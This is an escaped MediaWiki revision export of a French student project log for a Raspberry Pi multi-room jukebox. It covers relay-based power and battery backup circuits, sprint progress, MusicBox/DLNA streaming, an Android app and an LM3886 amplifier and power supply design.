'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 6V est connecté à ce circuit. Puisque la Raspberry Pi doit être alimentée en 5V, nous avons ajouté un régulateur de tension de 5V.&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, non connecté. Dans cette situation, la Raspberry fonctionne correctement avec la source d’alimentation normale et les piles ne sont pas utilisées.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, les piles ne seront plus connectées à la Raspberry ce qui les préservera en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;***REVISION B*** :&amp;lt;br&amp;gt;&lt;br /&gt;
Transistor T3 (qui connecte la RPi à la masse) en mode passant dès le branchement de la prise 5V (dans cette version, le transistor est donc déjà passant avant même que la RPi soit allumée. Evite les bugs de fonctionnement : &amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DriverButtonsREVB_Schematics.png|500px]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtonsREVB_3D_TOP.png|200px]] [[Fichier:DriverButtonsREVB_3D_BOT.png|199px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27502</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27502"/>
				<updated>2016-02-21T18:57:32Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Circuit ON/OFF */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par le pont de Graetz, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
